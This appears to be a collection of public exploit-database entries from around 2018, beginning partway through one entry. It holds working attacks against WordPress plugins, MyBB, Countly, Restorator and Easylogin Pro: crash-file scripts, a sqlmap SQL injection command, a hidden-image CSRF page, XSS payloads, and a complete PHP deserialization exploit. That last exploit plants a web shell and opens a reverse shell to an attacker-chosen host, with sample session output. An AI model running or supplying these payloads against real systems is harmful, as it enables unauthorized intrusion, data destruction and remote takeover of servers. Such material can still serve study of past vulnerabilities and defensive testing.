# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program. Once inside of the program click "Continue". In the new window paste the content of
# "exploit.txt" into the following field: "Select". Click "Ok" and you will see a crash.
#!/usr/bin/python
buffer = "A" * 2000
payload = buffer
try:
f=open("exploit.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
# Exploit Title: WordPress Plugin Chained Quiz 1.0.8 - 'answer' SQL Injection
# Exploit Author: Çlirim Emini
# Website: https://www.sentry.co.com
# Software Link: https://wordpress.org/plugins/chained-quiz/
# Version/s: 1.0.8 and below
# Patched Version: 1.0.9
# CVE : N/A
# WPVULNDB: https://wpvulndb.com/vulnerabilities/9112
# Vulnerability Description:
# WordPress Plugin Plugin Chained Quiz before 1.0.9 allows remote unauthenticated
# users to execute arbitrary SQL commands via the 'answer' and 'answers' parameters.
# Technical details:
# Chained Quiz appears to be vulnerable to time-based SQL-Injection.
# The issue lies on the $answer backend variable.
# Privileges required: None
# Proof of Concept (PoC):
sqlmap -u "http://target/wp-admin/admin-ajax.php" --data="answer=1*&question_id=1&quiz_id=1&post_id=1&question_type=radio&points=0&action=chainedquiz_ajax&chainedquiz_action=answer&total_questions=1" --dbms=MySQL --technique T
# Exploit Title: MyBB Moderator Log Notes Plugin 1.1 - Cross-Site Request Forgery
# Date: 2018-05-17
# Author: 0xB9
# Twitter: @0xB9Sec
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1105
# Version: 1.1
# Tested on: Ubuntu 18.04
# 1. Description:
# The plugin allows moderators to save notes and display them in a list in the modCP.
# The CSRF allows an attacker to remotely delete all mod notes and mod note logs
# in the modCP & ACP.
# 2. Proof of Concept:
<html>
<body>
<-- Deletes mod note logs -->
<img style="display:none" src="http://localhost/mybb15/admin/index.php?module=tools-modnoteslog&action=dal" alt="">
<-- Deletes mod notes -->
<img style="display:none" src="http://localhost/mybb15/admin/index.php?module=tools-modnoteslog&action=dmn" alt="">
<!-- You can also delete notes individually by the nid (note ID)
<img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=3" alt="">
<img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=2" alt="">
<img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=1" alt="">
-->
</body>
</html>
# Exploit Title: Restorator 1793 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-19
# Homepage: https://www.bome.com/
# Software Link: https://www.bome.com/bome/downloads/Restorator2018_Full_1793.exe
# Tested Version: v1793
# Tested on OS: Windows 7 x64
# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program. In the new window paste the content of
# "exploit.txt" into the following field: "Name". Click "Ok" and you will see a crash.
#!/usr/bin/python
buffer = "A" * 4000
payload = buffer
try:
f=open("exploit.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
# Exploit Title: WordPress Plugin Tagregator 0.6 - Cross-Site Scripting
# Date: 2018-05-05
# Exploit Author: ManhNho
# Vendor Homepage: https://wordpress.org/plugins/tagregator/
# Software Link: https://downloads.wordpress.org/plugin/tagregator.0.6.zip
# Ref: https://pastebin.com/ZGr5tyP2
# Version: 0.6
# Tested on: CentOS 6.5
# CVE : CVE-2018-10752
# Category : Webapps
# 1. Description
# WordPress Plugin Tagregator 0.6 - Stored XSS
# 2. Proof of Concept
1. Login to admin panel
2. Access to Wordpress Tagregator setting, then choose Tweets/Instagram
Media/Flickr Post/Google+ Activities and click "Add New" button
3. In title field, inject XSS pattern such as:
<script>alert('xss')</script> and click Preview button
4. This site will response url that will alert popup named xss
5. Send this xss url to another administrators, we have same alert
############################################################################
# Exploit Title: Countly-server Stored(Persistent) XSS Vulnerability
# Date: Monday - 2018 13 August
# Author: 10:10AM Team
# Discovered By: Sleepy
# Software Link: https://github.com/Countly/countly-server
# Version: All Version
# Category: Web-apps
# Security Risk: Critical
# Tested on: GNU/Linux Ubuntu 16.04 - win 10
############################################################################
# Exploit:
# Description:
#
# Attacker can use multiple parameters in the provided link to inject his own data in the database
# of this application,the injected data can then be directly viewed in the event logs panel
# (manage>logger).
# Attacker may use this vulnerability to inject his own payload for attacks like Stored XSS.
# The injected payload will be executed everytime that the target page gets visited/refreshed.
#
# Proof of Concept:
#
# Injection URL:
#
# � http://[server_ip]:[api_port]/i?api_key=[api_key]¶meter_1=[payload_1]¶meter_2=[payload_2]&etc...
#
# Execution URL(login to server dashboard and navigate to "event logs" panel):
#
# � http://[server_ip]:[server_port]/dashboard#/[app_key]/manage/logger
#
#
############################################################################
# WE ARE: Sleepy({ssleeppyy@gmail.com}), Mikili({mikili.land@gmail.com})
############################################################################
#!/usr/bin/php
<?php
/*
Easylogin Pro Encryptor.php Unserialize Remote Code Execution Vulnerability
Version: 1.3.0
Platform: Ubuntu Server 18.04.1
Bug found by: @f99942
Tekniq/exploit by: @steventseeley (mr_me)
CVE: CVE-2018-15576
Notes:
======
- This is not really a security issue I guess, because you need to know the key.
But a simple disclosure bug could mean its game over for Easylogin Pro
- You will need PHP with threading support to run this exploit
- Laravel + Guzzle === lol
Example:
========
mr_me@pluto:~$ php -m | grep pthreads && php --version
pthreads
PHP 7.2.2 (cli) (built: Aug 10 2018 01:30:10) ( ZTS DEBUG )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
with Zend OPcache v7.2.2, Copyright (c) 1999-2018, by Zend Technologies
mr_me@pluto:~$ ./e.php
Easylogin Pro <= v1.3.0 Encryptor.php Unserialize Remote Code Execution Vulnerability
Bug found by: @f99942
Tekniq/exploit by: @steventseeley (mr_me)
----------------------------------------------------
Usage: php ./e.php -t <ip> -c <ip:port>
-t: target server (ip with or without port)
-c: connectback server (ip and port)
Example:
php ./e.php -t 172.16.175.136 -c 172.16.175.137:1337
----------------------------------------------------
mr_me@pluto:~$ ./e.php -t 172.16.175.137 -c 172.16.175.136:1337
Easylogin Pro <= v1.3.0 Encryptor.php Unserialize Remote Code Execution Vulnerability
bug found by: @f99942
tekniq/exploit by: @steventseeley (mr_me)
(+) snap...
(+) crackle...
(+) pop!
(+) connectback from 172.16.175.137 via port 41860
www-data@target:/var/www/html/uploads$ id;uname -a
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux target 4.15.0-30-generic #32-Ubuntu SMP Thu Jul 26 17:42:43 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
www-data@target:/var/www/html/uploads$ ls -la
total 12
drwxrwxrwx 2 www-data www-data 4096 Aug 12 23:06 .
drwxr-xr-x 9 www-data www-data 4096 Aug 9 14:49 ..
-rwxrwxrwx 1 root root 13 Dec 12 2017 .gitignore
www-data@target:/var/www/html/uploads$ php --version
PHP 7.2.7-0ubuntu0.18.04.2 (cli) (built: Jul 4 2018 16:55:24) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
with Zend OPcache v7.2.7-0ubuntu0.18.04.2, Copyright (c) 1999-2018, by Zend Technologies
www-data@target:/var/www/html/uploads$
*/
namespace GuzzleHttp\Cookie;
// change these to work against your target
$key = "OPudCtPyxzAGw8LkQowOoQAc88dvULGB";
$path = "/var/www/html";
class Encrypter {
protected $key;
protected $cipher;
public function __construct($key, $cipher = 'AES-256-CBC'){
$key = (string) $key;
$this->key = $key;
$this->cipher = $cipher;
}
public function encrypt($value, $serialize = true){
$iv = random_bytes(openssl_cipher_iv_length($this->cipher));
$value = openssl_encrypt(
$serialize ? serialize($value) : $value,
$this->cipher, $this->key, 0, $iv
);
if ($value === false) {
throw new EncryptException('Could not encrypt the data.');
}
$mac = $this->hash($iv = base64_encode($iv), $value);
$json = json_encode(compact('iv', 'value', 'mac'));
if (json_last_error() !== JSON_ERROR_NONE) {
throw new EncryptException('Could not encrypt the data.');
}
return base64_encode($json);
}
public function encryptString($value){
return $this->encrypt($value, false);
}
protected function hash($iv, $value){
return hash_hmac('sha256', $iv.$value, $this->key);
}
}
// pop chain
interface ToArrayInterface {}
class SetCookie implements ToArrayInterface {
private $data;
public function __construct(array $data = []){
$this->data = $data;
}
}
class CookieJar implements ToArrayInterface {
private $cookies;
public function setCookie(SetCookie $cookie){
$this->cookies = array($cookie);
}
}
class FileCookieJar extends CookieJar {
private $filename;
public function __construct($bd_file, $cbh, $cbp){
$this->filename = $bd_file;
$this->setCookie(new SetCookie(array(
"Value" => '<?php eval(base64_decode($_SERVER[HTTP_SI])); ?>',
"Expires" => true,
"Discard" => false,
)));
}
}
class Exploit{
private $target;
private $targetport;
private $cbhost;
private $cbport;
private $key;
private $path;
public function __construct($t, $tp, $cbh, $cbp, $k, $p){
$this->target = $t;
$this->targetport = $tp;
$this->cbhost = $cbh;
$this->cbport = $cbp;
$this->key = $k;
$this->path = $p;
}
public function run(){
// its possible to leak the path if app.php contains 'debug' => true
// also, uploads is writable by default for avatars
$fcj = new FileCookieJar("$this->path/uploads/si.php", $this->cbhost, $this->cbport);
$e = new Encrypter($this->key);
$this->p = $e->encryptString(serialize($fcj));
// hardcoded md5 of the class name 'Hazzard\Auth\Auth' for the cookie login
$c = $this->do_get("index.php", array("Cookie: login_ac5456751dd3c394383a14228642391e=$this->p"));
if ($c === 500){
print "(+) pop!\r\n";
// start our listener
$s = new Shell($this->cbport);
$s->start();
// msf reverse shell with some stuff modified
$rs = <<<'PHP'
@error_reporting(-1);
@set_time_limit(0);
@ignore_user_abort(1);
$dis=@ini_get('disable_functions');
if(!empty($dis)){
$dis=preg_replace('/[, ]+/', ',', $dis);
$dis=explode(',', $dis);
$dis=array_map('trim', $dis);
}else{
$dis=array();
}
$ipaddr='[cbhost]';
$port=[cbport];
function PtdSlhY($c){
global $dis;
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
$c=$c." 2>&1\n";
}
ob_start();
system($c);
$o=ob_get_contents();
ob_end_clean();
if (strlen($o) === 0){
$o = "NULL";
}
return $o;
}
// we disappear like a fart in the wind
@unlink("si.php");
$nofuncs='no exec functions';
$s=@fsockopen("tcp://$ipaddr",$port);
while($c=fread($s,2048)){
$out = '';
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
}else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
$out=PtdSlhY(substr($c,0,-1));
if($out===false){
fwrite($s, $nofuncs);
break;
}
}
fwrite($s,$out);
}
fclose($s);
PHP;
$rs = str_replace("[cbhost]", $this->cbhost, $rs);
$rs = str_replace("[cbport]", $this->cbport, $rs);
$php = base64_encode($rs);
$this->do_get("uploads/si.php", array("si: $php"));
}
}
private function do_get($p = "index.php", array $h = []){
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_URL => "http://$this->target/$p",
CURLOPT_HTTPHEADER => $h,
CURLOPT_PORT => (int) $this->targetport
));
$resp = curl_exec($curl);
return curl_getinfo($curl, CURLINFO_HTTP_CODE);
}
}
class Shell extends \Thread{
private $cbport;
public function __construct($cbp){
$this->cbport = $cbp;
}
public function run(){
$sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$ret = @socket_bind($sock, 0, (int) $this->cbport);
$ret = @socket_listen($sock, 5);
$msgsock = @socket_accept($sock);
@socket_close($sock);
$start = true;
$fp = fopen("php://stdin", "r");
while(false !== @socket_select($r = array($msgsock))){
if ($start === true){
if (socket_getpeername($r[0], $a, $p) === true){
print "(+) connectback from $a via port $p\r\n";
$s = $this->exec_cmd($msgsock, "echo `whoami`@`hostname`:\n");
}
}
$start = false;
// the pretty shells illusion
print "\r\n".$s.$this->exec_cmd($msgsock, "echo `pwd`\n")."$ ";
// get our command...
$c = fgets($fp);
// if the attacker enters nothing, continue...
if (strpos("\n", $c) === 0){
continue;
}
if (strpos($c, "cd") === false){
print $this->exec_cmd($msgsock, $c);
}elseif (strpos($c, "cd") !== false){
$this->exec_cmd($msgsock, $c, false);
}
if(in_array($c, array("exit\n", "quit\n"))){
break;
}
}
fclose($fp);
}
private function exec_cmd($c, $cmd, $ret=true){
// send our command to the reverse shell
@socket_write($c, $cmd, strlen($cmd));
if ($ret == true){
// we don't care to get the shell prompt back...
$resp = trim(@socket_read($c, 2048, PHP_BINARY_READ));
if ($resp === "NULL"){
return "";
}else{
return $resp;
}
}
}
}
print_r("\r\nEasylogin Pro <= v1.3.0 Encryptor.php Unserialize Remote Code Execution Vulnerability
Bug found by: @f99942
Tekniq/exploit by: @steventseeley (mr_me)\r\n");
if ($argc < 3) {
print_r("
----------------------------------------------------
Usage: php ".$argv[0]." -t <ip> -c <ip:port>
-t: target server (ip with or without port)
-c: connectback server (ip and port)
Example:
php ".$argv[0]." -t 172.16.175.136 -c 172.16.175.137:1337
----------------------------------------------------
"); die; }
function set_args($argv) {
$_ARG = array();
foreach ($argv as $arg) {
if (preg_match("/--([^=]+)=(.*)/", $arg, $reg)) {
$_ARG[$reg[1]] = $reg[2];
} elseif(preg_match("/^-([a-zA-Z0-9])/", $arg, $reg)) {
$_ARG[$reg[1]] = "true";
} else {
$_ARG["input"][] = $arg;
}
}
return $_ARG;
}
$args = set_args($argv);
$host = $args["input"]["1"];
$cbsp = $args["input"]["2"];
if (strpos($host, ":") == true){
$host_and_port = explode(":", $host);
$host = $host_and_port[0];
$port = $host_and_port[1];
}else{
$port = 80;
}
if (strpos($cbsp, ":") == true){
$cbhost_and_cbport = explode(":", $cbsp);
$cbhost = $cbhost_and_cbport[0];
$cbport = $cbhost_and_cbport[1];
}else{
$cbport = 1337;
}
$ip_regex = "(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)";
if ((preg_match($ip_regex, $host) === 1) && (preg_match($ip_regex, $cbhost) === 1)){
// exploit entry
$poc = new Exploit($host, $port, $cbhost, $cbport, $key, $path);
print "\r\n(+) snap...\r\n(+) crackle...\r\n";
$poc->run();
}
/*
eyJpdiI6InFGcWFDMW9aMEFwWmo2XC9RRkhxZ3JBPT0iLCJ2YWx1ZSI6IjdpVExUQWpaYVpu
RjVVRElxczg1YUVpSWl2bEtXOVwvY3BVaDFkc0NNY0Y4NkhMME9XNE9PZHJxc0FhUFBlenpi
VWtJSUNHWE9RYU5MQjVnOUgzUkt4RGc0QlE4TDNZSnpueFZlblVjM3NnVXFmeE0zSnZaRFA2
a2gxU1l2QlVYNW5pUkZEd3c2RFJWYnpqRFkyUmdOQW5vZkVtaFA0Y2JDRW1kUU5mNWtGdmh3
WDJWYlBmQU0rTkFwWExQOERWcEZDVTYzU255VEFaTzN4MzhZTEUxWElRbnNCZ1grWm9rN3Vh
MzBzSnYrSGpjMmlRRWMxZWVTbDVhN29uOG1RazBJIiwibWFjIjoiOThmYTM5ZDc3M2FlMGVh
NTI3ZWI2ZGNkODQ5N2ZmZmExNDA3YjdjYzYzMGRlODY3NDZmMjRkYTBiNmVjMGJmMCJ9
*/
?>